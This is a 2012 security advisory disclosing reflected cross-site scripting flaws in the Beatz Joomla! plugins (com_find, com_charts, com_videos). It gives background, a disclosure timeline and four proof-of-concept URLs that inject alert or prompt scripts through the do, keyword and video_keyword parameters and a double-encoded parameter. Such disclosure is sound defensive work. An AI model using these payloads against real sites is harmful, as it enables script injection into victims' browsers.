Sunday, April 15, 2012

Joomla! Plugin - Beatz 1.x <= Multiple Cross Site Scripting Vulnerabilities

1. OVERVIEW

Beatz 1.x versions are vulnerable to Cross Site Scripting.


2. BACKGROUND

Beatz is a set of powerful Social Networking Script Joomla! 1.5
plugins that allows you to start your own favourite artist band
website. Although it is just a Joomla! plugin, it comes with full
Joolma! bundle for ease of use and installation.


3. VULNERABILITY DESCRIPTION

Multiple parameters were not properly sanitized upon submission, which
allows attacker to conduct Cross Site Scripting attack. This may allow
an attacker to create a specially crafted URL that would execute
arbitrary script code in a victim's browser. The vulnerable plugins
include: com_find, com_charts and com_videos.


4. VERSIONS AFFECTED

Tested in 1.x versions


5. PROOF-OF-CONCEPT/EXPLOIT

== Generic Joomla! 1.5 Double Encoding XSS

http://localhost/beatz/?option=com_content&view=frontpage&limitstart=5&%2522%253e%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2f%2558%2553%2553%2f%2529%253c%2f%2573%2563%2572%2569%2570%2574%253e=1

== com_charts (parameter: do)

http://localhost/beatz/index.php?option=com_charts&view=charts&Itemid=76&chartkeyword=Acoustic&do=all%22%20style%3dbackground-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;"%20x=%22&option=com_charts

== com_find (parameter: keyword)

http://localhost/beatz/index.php?do=listAll&keyword=++Search"><img+src=0+onerror=prompt(/XSS/)>&option=com_find

== com_videos (parameter: video_keyword)

http://localhost/beatz/index.php?option=com_videos&view=videos&Itemid=59&video_keyword="+style="width:1000px;height:1000px;position:absolute;left:0;top:0"+onmouseover="alert(/xss/)&search=Search


6. SOLUTION

The vendor hasn't released the fixed yet.


7. VENDOR

Cogzidel Technologies Pvt Ltd.
http://www.cogzidel.com/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-03-01: notified vendor
2012-04-15: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5Bbeatz_1.x%5D_xss

#yehg [2012-04-15]

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